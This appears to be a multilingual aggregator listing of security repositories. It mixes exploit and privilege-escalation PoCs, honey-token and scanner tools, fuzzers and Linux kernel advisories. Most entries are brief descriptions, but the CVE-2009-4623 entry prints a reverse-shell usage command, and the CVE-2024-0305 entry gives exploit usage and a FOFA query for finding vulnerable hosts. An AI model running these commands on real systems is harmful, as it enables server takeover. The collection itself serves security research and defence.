GodPotato

GodPotato 基于6年来土豆提权的发展历史，从最初的RottenPotato到最后的JuicyPotatoNG，我通过研究DCOM发现了一项新技术，能够在Windows Server 2012至Windows 2022系统上实现提权。现在，只要你拥有"ImpersonatePrivilege"权限，你就是"NT AUTHORITY\SYSTEM"。通常情况下，WEB服务和数据库服务拥有"ImpersonatePrivilege"权限。 土豆提权通常在我们获取WEB/数据库权限时使用。我们可以将低权限的服务用户提升为"NT AUTHORITY\SYSTEM"权限。...

spacesiren

SpaceSiren SpaceSiren es un administrador de honey tokens y sistema de alertas para AWS. Con esta aplicación completamente serverless, puedes crear y gestionar honey tokens a escala -- hasta 10 000 por instancia de SpaceSiren -- a un costo casi nulo.1 Cómo Funciona SpaceSiren proporciona una API...

cve-2024-0305exp

cve-2024-0305exp cve-2024-0305可用的exp，如需引用请转明出处，感谢！ 0x01 产品背景 Ncast盈可视高清智能录播系统是广州盈可视电子科技有限公司的一款产品。该系统存在RCE漏洞，攻击者可以利用此漏洞执行任意命令能够利用该漏洞获取服务器权限，导致服务器沦陷。 0x02 漏洞范围 Ncast 2007 Ncast 2017 0x03 漏洞寻找 FOFA: app="Ncast-产品" 0x04 使用方法 python cve-2024-0305.py -u YOUR TARGET -p TARGET PORT 注：不带http:// 0x05 其他事项...

CVE-2009-4623

Advanced Comment System 1.0 - 远程命令执行 RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 示例 root@kitploit: python3 exploit.py http://127.0.0.1 uname -a root@kitploit: python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

USN-8802-1: Linux kernel (Oracle) vulnerabilities

Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - ARM32 architecture; - ARM64 architecture; - PowerPC architecture; - Compute Acceleration Framework; - Drivers core;...

USN-8730-5: Linux kernel vulnerability

A security issue was discovered in the Linux kernel. An attacker could possibly use this to compromise the system. This update corrects flaws in the following subsystems: - IPv6 networking; - Netfilter;...

USN-8729-4: Linux kernel (Low Latency) vulnerabilities

Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - ARM32 architecture; - ARM64 architecture; - PowerPC architecture; - Compute Acceleration Framework; - Drivers core;...

USN-8729-4 linux-lowlatency, linux-lowlatency-hwe-6.8 vulnerabilities

Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - ARM32 architecture; - ARM64 architecture; - PowerPC architecture; - Compute Acceleration Framework; - Drivers core;...

CVE-2020-25270

CVE-2020-25270 PHPGurukul hostel-management-system 2.1 允许通过监护人姓名、监护人关系、监护人联系电话、地址、城市进行 XSS 厂商 - PHPGurukul 产品 - https://phpgurukul.com/hostel-management-system V2.1 漏洞类型 - 跨站脚本（XSS） 附加信息 - XSS 将在两侧触发，用户可以通过窃取管理员 cookie 来提升管理员权限。 受影响组件 - 图书 新书 , http:///lms/index.php?page=books...

kraken

警告 我一直在审查Kraken-Client代码，由于这是我第一个React应用，它陈旧、笨重且需要重大改进（服务器也需要一些工作）。在接下来的几周/几个月内，我将尽力用更新的React或其他框架重写它。请随意继续使用当前版本，如果遇到任何问题，请继续提交issue并提供反馈！谢谢！ Kraken：一个多平台分布式暴力破解密码系统 什么是Kraken...

CVE-2009-4623

CVE-2009-4623 Advanced Comment System 1.0 反向Shell Advanced Comment System 1.0 中存在多个PHP远程文件包含漏洞，远程攻击者可以通过向 advancedcommentsystem/ 目录下的 1 index.php 和 2 admin.php 中的 ACSpath 参数传递URL来执行任意PHP代码。注意：这仅当管理员未遵循 install.php 中的安装说明时才会构成漏洞。...

faxhell

faxhell "Fax Shell" Un shell de enlace de prueba de concepto que utiliza el servicio Fax y un secuestro de DLL basado en Ualapi.dll. Consulte nuestro análisis en: https://windows-internals.com/faxing-your-way-to-system/ Cómo usar Compila Ualapi.dll y colócalo en c:\windows\system32 Inicia el...

andriller

Andriller CE Community Edition Andriller - is software utility with a collection of forensic tools for smartphones. It performs read-only, forensically sound, non-destructive acquisition from Android devices. It has features, such as powerful Lockscreen cracking for Pattern, PIN code, or Password...

CVE-2018-19320-LPE

CVE-2018-19320 LPE 漏洞利用 描述 CVE-2018-19320 的本地权限提升漏洞利用。该漏洞利用使用了 gdrv.sys 中暴露的函数，允许低级别用户分配和写入内存数据，从而将权限提升至 SYSTEM。 截图 测试于: Windows 10 x64 21H1 OS Build 1903.1165 受影响版本 GIGABYTE APP Center v1.05.21 及更早版本 AORUS GRAPHICS ENGINE v1.33 及更早版本 XTREME GAMING ENGINE v1.25 及更早版本 OC GURU II v2.08 致谢 该漏洞由 Dieg...

CVE-2020-9442

漏洞标题: OpenVPN Connect for Windows MSI - 3.1.0.361 - 权限提升 日期: 2020-02-28 作者: Andrew Hess 软件链接: https://openvpn.net/client-connect-vpn-for-windows/ 版本: 3.1.0.361 MSI CVE: CVE-2020-9442 历史 2019.12.15 - 发现漏洞 2019.12.15 - 首次联系供应商 2020.01.xx - 供应商补丁 - 3.1.1 378 beta 3.1.1 378 beta 版本发布说明...

log4shell-finder

log4shell-finder - 最快的 log4j 实例文件系统扫描器 Python 移植版本，基于 https://github.com/mergebase/log4j-detector。log4j-detector 版权所有 C 2021 Mergebase Software Inc. https://mergebase.com/，采用 GPLv3 许可。 移植到 Python 的动机是提升性能、降低内存消耗并提高代码可读性。请参阅下面关于性能对比的部分。 而且它似乎是内存占用最低且扫描速度最快的工具 识别文件系统上存在漏洞的 log4j 1.x、reload4j 1.2.18...

PoCForCVE-2015-1528

这个PoC分为三个部分： mediaserver 文件夹帮助从普通应用向 mediaserver 注入代码。 surfaceflinger 文件夹帮助在获得 mediaserver 权限后向 surfaceflinger 注入代码。 systemserver 文件夹帮助在获得 surfaceflinger 权限后向 systemserver 注入代码。 bbshell 文件夹帮助向 mediaserver 注入 busybox。 PoC 包含许多硬编码，我在 Nexus 5 Android 5.0 LRX21O 上进行了测试，你可能需要调整这些硬编码以适应你的情况。...

FortiLPE

描述 针对运行在Windows上的FortiClient VPN的CVE-2025-62676 / EUVD-2025-206993本地权限提升PoC利用程序。通过任意XML文件写入，以普通用户上下文在SYSTEM上下文中执行载荷。该PoC已在Windows 11 Pro上的FortiClient 7.4.0版本上测试通过。根据供应商信息，以下版本受影响： 7.4.0 - 7.4.4 7.2.0 - 7.2.12 7.0（所有版本） 该漏洞通过Trend Micro的Zero Day...

umap

umap - the USB host security assessment tool Based on Facedancer by Travis Goodspeed: http://goodfet.sourceforge.net/hardware/facedancer21/ Released as open source by NCC Group Plc - http://www.nccgroup.com/ Developed by Andy Davis, andy dot davis at nccgroup dot com...

gustave

c Airbus 2021, sduverger GUSTAVE - Embedded OS kernel fuzzer What is it ? GUSTAVE is a fuzzing platform for embedded OS kernels. It is based on QEMU and AFL and all of its forkserver siblings. It allows to fuzz OS kernels like simple applications. Thanks to QEMU, it is multi-platform. One can see...